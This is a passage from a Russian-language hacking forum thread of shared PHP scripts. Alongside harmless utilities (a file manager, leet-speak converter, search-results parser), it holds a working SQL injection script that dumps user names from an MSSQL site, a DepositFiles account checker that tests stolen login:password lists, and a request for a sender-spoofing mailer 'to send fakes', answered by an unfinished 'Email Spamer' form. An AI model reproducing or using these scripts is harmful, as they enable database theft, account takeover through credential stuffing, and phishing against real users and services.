Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. nikoTM

    nikoTM Elder - Старейшина

    Joined:
    25 Sep 2007
    Messages:
    41
    Likes Received:
    6
    Reputations:
    0
    просто ненавижу баянство(кажись нету такого слово =)) )
     
  2. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    PHP:
    <?php
    ###########################
    #  Файл менеджер by Chaak
    ###########################
    $safe 'C:\\'//дирректория, куда нельзя дальше соваться =)


    function delfolder($folder)
    {
        if(
    is_dir($folder))
        {
            
    $handle opendir($folder);
            while(
    $subfile readdir($handle))
            {
                if(
    $subfile == '.' or $subfile == '..')
                    continue;
                if(
    is_file($subfile))
                    
    unlink("{$folder}/{$subfile}");
                else
                    
    delfolder("{$folder}/{$subfile}");
            }
            
    closedir($handle);
            
    rmdir($folder);
        }
        else
        {
            
    unlink($folder);
        }
    }

    if(isset(
    $_GET['del']))
    {
        
    $del urldecode($_GET['del']);
        if(
    substr($del,0,strlen($safe)) == $safe)
        {
            if(
    is_file($del))
            {
                
    unlink($del);
                
    header("Location: ".$_GET['location']);
                exit();
            } elseif(
    is_dir($del))
            {
                
    delfolder($del);
                
    header("Location: ".$_GET['location']);
                exit();
            }
        }
        else
        {
            
    header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
            exit();
        }
    }


    if(!isset(
    $_GET['dir']))
    {
        
    header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
        exit();
    }
    else
    {
        
    $path urldecode($_GET['dir']);
        if(
    substr($path,0,strlen($safe)) == $safe)
        {
            if(
    is_dir($path))
            {

                
    $dir scandir($path);
                echo 
    '<table>';
                echo 
    "<tr><td>№</td><td>Filename</td><td>Действие</td></tr>";


                foreach(
    $dir as $i => $item)
                {
                    if(!(
    $item == '..' || $item == '.'))
                    {
                        echo 
    "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td><td><a href='?del=$path\\$item&location=".$_SERVER["PHP_SELF"]."'>Удалить</a></td></tr>";
                    }
                    else
                    {
                        echo 
    "<tr><td>$i</td><td><a href='?dir=$path\\$item'>$item</a></td></tr>";
                    }
                }


                echo 
    '</table>';


            } elseif(
    is_file($path))
            {
                
    $file '';
                
    $fp fopen($path,'rt');
                while(!
    feof($fp))
                {
                    
    $file .= fgets($fp,1024);
                }
                
    fclose($fp);
                
    htmlspecialchars($file);

                echo 
    "<textarea cols='80' rows='35'>$file</textarea>";
                echo 
    '<br><a href="javascript:history.back(-1);">Назад</a>';
            }
            else
            {
                die(
    'Выбранного файла не существует');
            }
        }
        else
        {
            
    header("Location: ".$_SERVER["SCRIPT_NAME"]."?dir=$safe");
            exit();
        }
    }
    ?>
    Небольшой файловый менеджер от меня =) писал для развлечения.

    Умеет читать/удалять файлы. Очень легко доработать.
     
    2 people like this.
  3. MaSTeR GэN

    MaSTeR GэN Member

    Joined:
    23 May 2008
    Messages:
    102
    Likes Received:
    54
    Reputations:
    7
    скорее всего боян но просто мож кому пригодиться для дампа базы mssql если требуеться авторизация для доступа с скуле ! испольЗовал curl В фаил cookies.txt нужно положить куки для авторизации!
    PHP:
    <?
     
    set_time_limit(0);
    function 
    send($get_url)
    {
    $ch curl_init();
    curl_setopt($chCURLOPT_URL$get_url);
    curl_setopt($ch,CURLOPT_COOKIEFILE,"cookies.txt");
    curl_setopt($chCURLOPT_HEADER,0);
    curl_setopt($chCURLOPT_CONNECTTIMEOUT,30);
    curl_setopt($chCURLOPT_FOLLOWLOCATION,0);
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);
    return 
    $data curl_exec($ch);
    }
    $postfix 0;
    $filename "base".$postfix.".txt";
    $desp fopen ($filename,"a+");
    for (
    $id=0;$id<30000;$id++){
    $get_url="http://site.com/sql.asp?C=1'+OR+1=(select+top+1+user+from+users+where+Id=".$id.")--";
    $str=send($get_url);
    if (
    preg_match("/nvarchar\040'(.*)'\040in\040una\040colonna/",$str,$matches)) {
    echo 
    $matches[1];
    fputs($desp,$matches[1]);
    fputs($desp,"\n");
    }
    }
    fclose($desp);
     
    /*

     ?>
     
    1 person likes this.
  4. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    DepositFiles Accounts Checker

    вот решил написать чекер акков депозитфайлс.
    accounts.txt - файл с акками вида login:рassword
    valid.txt - рабочие аккаунты
    PHP:
    <?php 
    <?php 
    #################################
    # DepositFiles Accounts Checker       
    #              by #Wolf#     
    #        ICQ: 79-47-79                                              
    #################################
    set_time_limit(0); 
    $user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"# User Agent  
    $acclist="accounts.txt"#Файл с аккаунтами вида логин:пароль
    $vallist="valid.txt"#куда будем писать валидные аккаунты
    $account=file($acclist); #Помещаем аккаунты в массив 
    $valid=$invalid=0
    function 
    Check($login,$pass) {
     
    $fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
     
    $out "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";   # Отправляем заголовки  
     
    $out .= "Host: depositfiles.com\r\n"
     
    $out .= "Keep-Alive: 300\r\n";
     
    $out .= "Connection: keep-alive\r\n";
     
    $out .= "User-Agent: ".$user_agent."\r\n"
     
    $out .= "Cookie: income=1\r\n"
     
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
     
    fwrite($fp,$out);
     
    $ans '';     
     while (!
    feof($fp)) { 
            
    $ans .= fgets($fp128);  # ответ сервера  
        
    }
     
    fclose($fp);  # Закрываем сокеты  
     
    return strpos($ans,"autologin=") ? true false# Проверяем 

    echo 
    '<h3>Валидные логины:пароли</h3>'
    for(
    $i=0;$i<count($account);$i++) {  #цикл
     
    list($login,$pass) = explode(":",trim($account[$i]));  # разбиваем аккаунты на логин и пароль
        
    if (Check($login,$pass)) {  # Вызываем функцию проверки аккаунта 
        
    echo $login.':'.$pass.'<br />';
        
    flush();
        
    ob_flush();
        
    $fd fopen($vallist,'a+'); # открываем файл
        
    fputs($fd,$account[$i]); # записываем  в файл  рабочий акк 
        
    fclose($fd);  # закрываем файл
        
    ++$valid
        }else {++
    $invalid;} 

    echo 
    "<br><h3>Итого</h3>Рабочих  аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid.""
    ?> 
    kaimi спасибо, поправил
     
    #444 #Wolf#, 5 Oct 2008
    Last edited: 30 Nov 2009
    1 person likes this.
  5. Sholoman

    Sholoman Elder - Старейшина

    Joined:
    5 Mar 2008
    Messages:
    23
    Likes Received:
    2
    Reputations:
    0
    #Wolf# не работает!
     
  6. Sholoman

    Sholoman Elder - Старейшина

    Joined:
    5 Mar 2008
    Messages:
    23
    Likes Received:
    2
    Reputations:
    0
    Скрипт Зеркального отражения с наклонами и т.п. Результаты скрипта можно посмотреть в архиве.
    http://depositfiles.com/files/8494118
     
  7. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Так попробуй
    PHP:
    <?php 
    #################################
    # DepositFiles Accounts Checker       
    #              by #Wolf#     
    #        ICQ: 79-47-79                                              
    #################################
    set_time_limit(0); 
    $user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"
    $acclist    ="accounts.txt"
    $vallist     "valid.txt"
    $account    =file($acclist); 
    $valid         $invalid 0


    function 
    vkCheck($login,$pass) {
     
    $fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); 
     
    $out "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n"
     
    $out .= "Host: depositfiles.com\r\n"
     
    $out .= "Keep-Alive: 300\r\n";
     
    $out .= "Connection: keep-alive\r\n";
     
    $out .= "User-Agent: ".$user_agent."\r\n"
     
    $out .= "Cookie: income=1\r\n"
     
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
     
    fwrite($fp,$out);
     
    $ans '';
     while (!
    feof($fp)) {
            
    $ans .= fgets($fp128);
        }
     
    fclose($fp); 
     return 
    strpos($ans,"autologin=") ? true false;


    echo 
    '<h3>Валидные логины:пароли</h3>'

    for(
    $i=0;$i<count($account);$i++) { 
     list(
    $login,$pass) = explode(":",trim($account[$i])); 
        if (
    vkCheck($login,$pass)) { 
        echo 
    "$login:$pass<br>";
        
    flush();
        
    ob_flush();
        
    $fd fopen($vallist,"a+"); 
        
    fputs($fd,$account[$i]);
        
    fclose($fd); 
        ++
    $valid
        } 
        else { ++
    $invalid;} 


    echo 
    "<br><h3>Итого</h3>Рабочих  аккаунтов: $valid<br>Нерабочих аккаутов: $invalid"
    ?> 
     
    _________________________
  8. Sholoman

    Sholoman Elder - Старейшина

    Joined:
    5 Mar 2008
    Messages:
    23
    Likes Received:
    2
    Reputations:
    0
    Kaimi не работает скрипт. Я свой акк пишу = D 100% работает!
     
  9. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    И в каком формате ты свой акк пишешь?
     
    _________________________
    1 person likes this.
  10. Sholoman

    Sholoman Elder - Старейшина

    Joined:
    5 Mar 2008
    Messages:
    23
    Likes Received:
    2
    Reputations:
    0
    nerabotaet:script
    права на txt 777 поставил заработало!
     
    #450 Sholoman, 5 Oct 2008
    Last edited: 5 Oct 2008
  11. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    PHP:
    <?php

    //Чекер репы на ачате by Chaak(766-336)

    $id 57557//id на ачате
    $summ 0//начальное кол-во репы.
    $all 0//всего поставленно

    $content file_get_contents("http://forum.antichat.ru/view_reputation.php?userid={$id}&count=11111111111111111");
    preg_match_all('#<nobr><b>\+([0-9]{1,5})</b></nobr>#i',$content,$pluses);
    preg_match_all('#<nobr><b>\-([0-9]{1,5})</b></nobr>#i',$content,$minuses);


    foreach(
    $pluses['1'] as $plus)
    {
        
    $summ += $plus;
        
    $all++;
    }

    foreach(
    $minuses['1'] as $minus)
    {
        
    $summ $summ $minus;
        
    $all++;
    }


    echo 
    'Количество репутации: '.$summ.'<br>Всего поставлено: '.$all.' раз';


    ?>
     
  12. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Чак, была уже такая тема...
     
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Google URL Parser with log

    Google URL Parser with log

    С учетом разного кол-ва страниц по выданным результатам по конкретному запросу:

    Code:
       
    <?php
    // Парсер url после выдачи гугла по запросу
    $handler=fopen('log.txt','w'); // если не хотим терять старые данные - то "a+"
    $limit = 0;
    $zapros = "antichat"; // Наш запрос для поиска
    $page_start = 0; // Стартовая страница из расчета 100 результатов выдачи на страницу
    $page_end = 200; // Последняя страница из расчета 100 результатов выдачи на страницу
    function parse_serp($engine, $query, $limit)
    {
    if ($limit<100) {$request = 'http://www.google.com/ie?hl=ru&num=100&start=' . $limit. '&lr=&q='.urlencode(trim($query));}
    if ($limit>=100) {$request = 'http://www.google.com/ie?q=' . urlencode(trim($query)) . '&num=100&hl=ru&lr=&start=' . $limit . '&sa=N';}
    $pattern = '/<a title="(.*)" href=(.*)>(.*)<\/a>/isU';
    $result = file_get_contents($request);
    if(preg_match_all($pattern, $result, $matches))
    {
    for ($i=0; $i<count($matches[0]); $i++)
    {
    $link = $matches[2][$i];
    $serp[] = $link;
    }
    }
    return $serp;
    }
    for ($i=$page_start;$i<=$page_end;$i++)
    {
    $result = parse_serp("google", $zapros, $i);
    $log = implode("\r\n",$result);
    if($handler) {fwrite($handler,$log);}
    $i=$i+100;
    if ($i>100) {$i=$i-1;}
    }
    fclose($handler);
    echo "Все данные были сохранены в log.txt"; 
    ?>
    
     
    #453 Pashkela, 26 Oct 2008
    Last edited: 26 Oct 2008
  14. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    PHP:
    <?
    $str="Simple leet speak!";
    $fr=array("q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M");
    $to=array("q","w","3","r","7","y","u","1","0","p","4","5","d","f","g","h","j","k","l","z","8","c","v","b","n","m","Q","W","3","R","7","Y","U","1","0","P","4","5","D","F","G","H","J","K","L","Z","8","C","V","B","N","M");
    echo 
    str_replace($fr,$to,$str);
    ?>
    Пример l33t 5p34k...
     
  15. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Многие наверное видили красивые окна на движке юкоза сделаные с помощью AJAX .

    вот как такое окно можно сделать:

    код ссылки:
    HTML:
    <script type=text/javascript src='Ссылка на файл openLayerA.js'></script>
    <a href="javascript:openLayerA('obsv','Ссылка на страницу которую мы хотим открыть в новом окошке','Коментарий ссылки','500 ширина','400 высота','no');">Название ссылки</a>
    openLayerA.js
    HTML:
    var _umlparents=[]; //hash of mover _umlparents
    var _umlcoords=[]; //hash of last layer _umlcoords for IE
    var _resID='';
    var _umlhave='';
    var _umloffX,_umloffY,_umlscrX,_umlscrY;
    var _uml_ie=0;
    var _umlunable=0;
    var _zindex=10000;
    var _dontOnTop=0;
    var _mwdH=400;
    var _useShadow=0;
    var f=0
    function openLayerA(n,u,t,w,h,is,resize,anyVar2,grid,multypart,align){
    	if (!align){align='center';}
    	if (resize){_resID=n;}else{_resID='';}
    	h-=30;
    	_zindex++;
    	var scrw=document.body.clientWidth>0 ? document.body.clientWidth : window.innerWidth>0 ? window.innerWidth : document.body.offsetWidth;
    	var scrh=document.body.clientHeight>0 ? document.body.clientHeight : window.innerHeight>0 ? window.innerHeight : document.body.offsetHeight;
    	if (scrh<450){_mwdH=scrh-50;}else{_mwdH=400;}
    	var x = (scrw-w)/2;
    	var y = (scrh-h)/2-20;
    	if (!document.getElementById('newLayer'+n)){
    		var o=document.createElement('div');
    		o.id='newLayer'+n;
    		document.body.appendChild(o);
    		
    		var os=document.createElement('div');
    		os.id='newLayerSh'+n;
    		document.body.appendChild(os);
    	}		
    	if (grid){
    		var og;
    		if (!document.getElementById('newLayerGrid')){
    			og=document.createElement('div');
    			og.id='newLayerGrid';
    			document.body.appendChild(og);
    			og.className='myWinGrid';
    		}
    		else {og=document.getElementById('newLayerGrid');}
    		og.style.zIndex=_zindex;
    		og.style.width=document.body.scrollWidth+'px';
    		og.style.height=document.body.scrollHeight+'px';
    		if (_uml_ie){
    			og.style.left=document.body.scrollLeft;
    			og.style.top=document.body.scrollTop;
    		}
    		else {og.style.position='fixed';}
    		og.style.display='';
    	}
    	document.getElementById('newLayer'+n).innerHTML=''
    + '<div class="xw xw-plain" onclick="if(!_dontOnTop){_showOnTop(\''+n+'\')}else{_dontOnTop=0;}" id="outLayer'+n+'" style="position:absolute;z-index:'+(_zindex+2)+';top:'+y+'px;left:'+x+'px;width:'+w+'px;">'
    + '<div class="xw-tl" unselectable="on">'
    + '<div class="xw-tr">'
    + '<div class="xw-tc" align="left">'
    + '<div id="myWhead'+n+'" unselectable="on" onmouseup="_create_shadow(\''+n+'\');" class="xw-hdr x-unselectable xp-icon xw-draggable">'
    + '<div id="myWclose'+n+'" class="xt xt-close" onclick="_closeMyWin(\''+n+'\')"; onmouseover="this.className=\'xt xt-close xt-close-over\'" onmouseout="this.className=\'xt xt-close\'"></div>'
    + '<span unselectable="on" class="xw-hdr-text" id="layerTitle'+n+'">'+t+'</span></div>'
    + '</div></div></div>'
    + '<div class="xw-bwrap">'
    + '<div class="xw-ml">'
    + '<div class="xw-mr">'
    + '<div class="xw-mc" id="xw-mc'+n+'">'
    + '<div id="myWinBody'+n+'" class="xw-body" style="overflow:auto;height:'+h+'px;">'
    + '<div class="myWinCont" id="myWinCont'+n+'" style="width*:100%;"><div align="'+align+'" id="layerContent'+n+'"><iframe src="'+u+'" marginwidth="1" marginheight="1" height="100%" width="100%" scrolling="'+is+'" border="0" frameborder="0"></iframe></div></div>'
    + '</div></div></div></div></div>'
    + '<div class="xw-bl"><div class="xw-br">'
    + '<div class="xw-bc"><div class="xw-footer"></div>'
    + '</div></div></div></div>';
    
    	document.getElementById('newLayer'+n).style.display='';
    	_umlRegMover('myWhead'+n,'outLayer'+n);	
    	if (!resize){
    		_create_shadow(n);
    	}
    }	
    
    function _showOnTop(n,f){
    	if (f){
    		if (parseInt(document.getElementById(n).style.zIndex)<(_zindex)){
    			document.getElementById(n).style.zIndex=_zindex+3;
    			_zindex+=3;
    		}
    	}
    	else {
    		if (parseInt(document.getElementById('outLayer'+n).style.zIndex)<(_zindex+2)){
    			document.getElementById('outLayer'+n).style.zIndex=_zindex+3;
    			try {document.getElementById('myWxs'+n).style.zIndex=_zindex+2;}catch(e){};
    			_zindex+=1;
    		}
    	}
    }
    
    function _create_shadow(n){if (!_useShadow){return;}
    document.getElementById('newLayerSh'+n).style.display='none';
    var mww=document.getElementById('outLayer'+n).offsetWidth;
    var mwh=document.getElementById('outLayer'+n).offsetHeight;
    var mzi=document.getElementById('outLayer'+n).style.zIndex;
    
    document.getElementById('newLayerSh'+n).innerHTML = ''
    + '<div id="myWxs'+n+'" class="x-sh" style="z-index:'+(mzi-1)+';width:'+(mww+10)+'px;height:'+(mwh+10)+'px;display:block;">' 
    + '<div class="xst">'
    + '<div class="xstl"> </div>'
    + '<div class="xstc" style="width:'+(mww-8)+'px;"></div>'
    + '<div class="xstr"></div></div>' 
    + '<div id="xsc'+n+'" style="height:'+(mwh-8)+'px;">'
    + '<div class="xsml"></div>'
    + '<div class="xsmc" style="width:'+(mww-8)+'px;"></div>'
    + '<div class="xsmr"></div></div>' 
    + '<div class="xsb"><div class="xsbl"></div>'
    + '<div class="xsbc" style="width:'+(mww-8)+'px;"></div>'
    + '<div class="xsbr"></div></div></div>';	
    
    _shcoords('outLayer'+n);	
    	document.getElementById('newLayerSh'+n).style.display='';	
    }
    
    function _shcoords(id){if (!_useShadow){return;}
    	if (!id){return;}
    	var n = id.substr(8);	
    	if (!document.getElementById('myWxs'+n)){return;}
    	var _shadw = document.getElementById('myWxs'+n);
    	var pos=_umlGetCoord(document.getElementById('outLayer'+n));
    	if(!_uml_ie) {
    		_shadw.style.position='fixed';
    		_shadw.style.overflow='auto';
    		_shadw.style.left=(pos['left'])+'px';
    		_shadw.style.top=(pos['top'])+'px';
    	}
    	else {
    		_shadw.style.left=(pos['left']-3)+'px';
    		_shadw.style.top=(pos['top']-3)+'px';
    		_shadw.style.filter = 'progid:DXImageTransform.Microsoft.alpha(opacity=50) progid:DXImageTransform.Microsoft.Blur(pixelradius=3);';
    	}
    	
    }
    
    function _closeMyWin(n){
    	document.getElementById('layerContent'+n).innerHTML='';
    	document.getElementById('newLayer'+n).style.display='none';
    	try{document.getElementById('newLayerSh'+n).style.display='none';}catch(e){}
    	try{document.getElementById('newLayerGrid').style.display='none'}catch(e){}	
    }
    
    var _cur_size8,_tar_size8,_dk_step8;
    function _chLctSize(w1){
    	if (!document.getElementById('myWinBody'+w1) || !document.getElementById('layerContent'+w1)){return;}
    	var step=10;
    	var incr=_uml_ie?4:4;
    	_cur_size8 = parseInt(document.getElementById('myWinBody'+w1).style.height);
    	_tar_size8 = document.getElementById('myWinCont'+w1).offsetHeight+incr;
    	if (_tar_size8<40){_tar_size8=40;}else if (_tar_size8>_mwdH){_tar_size8=_mwdH;}
    	
    	if (_cur_size8>_tar_size8){_dk_step8=-step;if(_cur_size8-_tar_size8<step){_dk_step8=-(_cur_size8-_tar_size8);}}
    	else{_dk_step8=step;if(_tar_size8-_cur_size8<_dk_step8){_dk_step8=_tar_size8-_cur_size8;}}
    	setTimeout('_chLctSizeTimer("'+w1+'")',10);
    }
    function _chLctSizeTimer(w1){
    	if ((_dk_step8>0 && _cur_size8<=_tar_size8-_dk_step8) || (_dk_step8<0 && _cur_size8>=_tar_size8-_dk_step8)){
    		document.getElementById('newLayerSh'+w1).style.display='none';
    		if (_dk_step8>0&&(_tar_size8-_cur_size8-_dk_step8<_dk_step8)){_dk_step8=_tar_size8-_cur_size8;}
    		else if (_dk_step8<0&&(_tar_size8-_cur_size8-_dk_step8>_dk_step8)){_dk_step8=_tar_size8-_cur_size8;}
    		_cur_size8+=_dk_step8;
    		var newtop = parseInt(document.getElementById('outLayer'+w1).style.top)-parseInt(_dk_step8/2);
    		if ((_uml_ie && newtop>=document.body.scrollTop) || (!_uml_ie && newtop>=0)){document.getElementById('outLayer'+w1).style.top=newtop;}
    		document.getElementById('myWinBody'+w1).style.height=_cur_size8+'px';		
    		setTimeout('_chLctSizeTimer("'+w1+'")',10);
    	}
    	else {
    		_resID='';
    		document.getElementById('myWinCont'+w1).style.visibility='visible';
    		_create_shadow(w1);
    	}
    }
    
    if (document.addEventListener){
    	document.addEventListener('mouseup',_umlUp,false);
    	document.addEventListener('mousemove',_umlMove,false);
    }
    else if (window.attachEvent){
    	document.attachEvent('onmouseup', _umlUp);
    	document.attachEvent('onmousemove', _umlMove);
    	window.attachEvent('onscroll', _umlScroll);
    	_uml_ie=1;
    } else {
    	_umlunable=1;
    }
    var _entrRm={};
    function _entrRem(bID,u,imgurl,text){
    	if (!text){text='Are you sure?';}
    	if (!_entrRm[bID] && confirm(text)){_entrRm[bID]=1;
    		document.getElementById(bID).src=imgurl+'/img/fr/EmnAjax.gif';
    		var cObj = uz.util.Connect.asyncRequest('GET',u,callback);
    	}	
    }
    
    function _umlGetCoord(obj){
    	if(!obj) return { 'left' : 0, 'top' : 0 };
    	var left_offset = obj.offsetLeft;
    	var top_offset = obj.offsetTop;
    	if(!left_offset && !top_offset && obj.offsetParent==null) {
    	left_offset=parseInt(obj.style.left);
    	top_offset=parseInt(obj.style.top);
    	} else
    	while ((obj = obj.offsetParent) != null)
    	{
    		left_offset += obj.offsetLeft;
    		top_offset += obj.offsetTop;
    	}
    
    	return { 'left' : left_offset, 'top' : top_offset };
    }
    
    function _umlRegMover(mover,movparent) {
    	if(_umlunable) return;
    	var it=document.getElementById(mover);
    	var itpar=document.getElementById(movparent);
    	if(!it || !itpar) return;
    	if(!_uml_ie && itpar.style.position!='fixed') {itpar.style.position='fixed';}
    	_umlparents[mover]=itpar;
    	if(_uml_ie) {
    		_umlscrX=document.body.scrollLeft;
    		_umlscrY=document.body.scrollTop;
    		var pos=_umlGetCoord(itpar);
    		_umlcoords[mover]=[pos['left']+_umlscrX,pos['top']+_umlscrY];
    
    		itpar.style.left=_umlcoords[mover][0]+'px';
    		itpar.style.top=_umlcoords[mover][1]+'px';
    
    		it.attachEvent('onmousedown',_umlDown);
    	}
    		else it.addEventListener('mousedown',_umlDown,false);
    	it.style.cursor="move";
    }
    
    function _umlMove(e) {
    	if(_uml_ie) e=event;
    	if(!_umlhave) return;
    	var n = _umlparents[_umlhave.id].id.substr(8);
    	document.getElementById('newLayerSh'+n).style.display='none';
    	if(_uml_ie && (e.button&1)==0) {_umlUp(e);return;}
    	_umlparents[_umlhave.id].style.left=(_umloffX+e.clientX)+'px';
    	_umlparents[_umlhave.id].style.top=(_umloffY+e.clientY)+'px';
    	if(window.getSelection){
    		window.getSelection().removeAllRanges();
    	} 
    	else if(document.selection) {
    		if(document.selection.type!='none') document.selection.empty();
    	}
    }
    
    function _umlScroll(e) {
    	if(_uml_ie) e=event;
    	for(var i in _umlcoords) {
    		var newx=_umlcoords[i][0]+document.body.scrollLeft-_umlscrX;
    		if(newx+_umlparents[i].offsetWidth<document.body.scrollWidth) _umlparents[i].style.left=newx+'px';
    		var newy=_umlcoords[i][1]+document.body.scrollTop-_umlscrY;
    		if(newy+_umlparents[i].offsetHeight<document.body.scrollHeight) _umlparents[i].style.top=newy+'px';
    		if (_useShadow){_shcoords(_umlparents[i].id);}
    	}
    }
    
    
    function _umlDown(e) {
    	if(_uml_ie) {
    		if(!_umlparents[event.srcElement.id]) return;
    		e=event;
    		if(e.button && (e.button&1)!=1) return;
    		_umlhave=e.srcElement;
    	} 
    	else {
    		_umlhave=this;
    		e.stopPropagation();
    	}
    	var pos=_umlGetCoord(_umlparents[_umlhave.id]);
    	_umloffX=pos['left']-e.clientX;
    	_umloffY=pos['top']-e.clientY;
    	if(_uml_ie){
    		_umlscrX=document.body.scrollLeft;
    		_umlscrY=document.body.scrollTop;
    		var pos=_umlGetCoord(_umlparents[_umlhave.id]);
    		_umlcoords[_umlhave.id]=[pos['left'],pos['top']];
    	}
    }
    
    function _umlUp(e) {
    	if(!_umlhave) return;
    	if(_uml_ie){
    		var pos=_umlGetCoord(_umlparents[_umlhave.id]);
    		_umlcoords[_umlhave.id]=[pos['left'],pos['top']];
    	}
    	_umlhave=0;
    }
    
    P.S. каму надо тот поймёт.
     
    #455 heretic1990, 1 Nov 2008
    Last edited: 1 Nov 2008
    1 person likes this.
  16. Makcimka

    Makcimka Member

    Joined:
    31 Aug 2008
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    Пожалуйста выложите php-скрипт для отправки писем с подменой адреса ,только чтобы можно было писать "имя-отправителя""адрес-отправителя""в html""прикреплять файлы" мне очень надо ,чтобы фейки слать. У меня есть скрипт,но там нельзя писать "имя" и "прикреплять файлы"
    Очень прошу ,тому кто выложит ,сюрприз :)
     
    2 people like this.
  17. coo1io

    coo1io New Member

    Joined:
    13 Apr 2008
    Messages:
    16
    Likes Received:
    3
    Reputations:
    0
    Code:
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="c_mail">
    <title>C_mail</title>
    <?php 
    
    
    
    
    if ($action=="send"){ 
        $message = urlencode($message); 
        $message = ereg_replace("%5C%22", "%22", $message); 
        $message = urldecode($message); 
        $message = stripslashes($message); 
        $subject = stripslashes($subject); 
    } 
    
    
    ?> 
    
    
    
    
    <form name="form1" method="post" action="" enctype="multipart/form-data" style="display:inline;">
    <div align="left"> 
    
    
    
    
    
     
    <center> 
    <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber1"> 
    <tr> 
    <td width="100%"> 
    <div align="left"> 
    <center> 
    <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" width="50%" id="AutoNumber2"> 
    <tr> 
    <td width="100%"> 
    <p align="left"><div align="left"> 
    <center> 
    <table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#0006000" width="70%" cellpadding="0" id="AutoNumber1" height="277"> 
    <tr> 
    <td width="100%" height="272"> 
    <table width="769" border="0" height="303"> 
    <tr> 
    <td width="786" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic3.gif" colspan="3" height="28"> 
    <p align="center"><b><font face="Tahoma" size="2" color="#000000">Email Spamer COOLIO      (only Mozilla Firefox)</font></b></td> 
    </tr> 
    
    
    <tr> 
    <td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"> 
    <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">от кого:</font></div> 
    </td> 
    <td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
    <input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">имя:</font></div> 
    </td> 
    <td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" valign="middle"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
    <input type="text" name="realname" value="<? print $realname; ?>" size="30"> 
    </font></td> 
    </tr> 
    <tr> 
    <td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"> 
    <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">копия:</font></div> 
    </td> 
    <td width="390" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
    <input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">вставить файл:</font></div> 
    </td> 
    <td width="317" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
    <input type="file" name="file" size="30"> 
    </font></td> 
    </tr> 
    <tr> 
    <td width="100" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22" align="right"> 
    <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">тема:</font></div>
     </td>
    
    
    <td colspan="1" width="715" bordercolor="#000000" bgcolor="#ffffff" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 
    <input name="subject" value="<? print $subject; ?>" size="59" style="float: left"> 
    </font></td> 
    </tr>
    
    <tr valign="top"> 
    <td colspan="2" width="477" bgcolor="#ffffff" height="189" valign="top"> 
    <div align="left"> 
    <table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#" width="98%" id="AutoNumber4"> 
    <tr> 
    <td width="100%"> 
    <textarea name="message" cols="56" rows="10"><? print $message; ?></textarea> 
    <br> 
    <input type="radio" name="contenttype" value="plain" checked> 
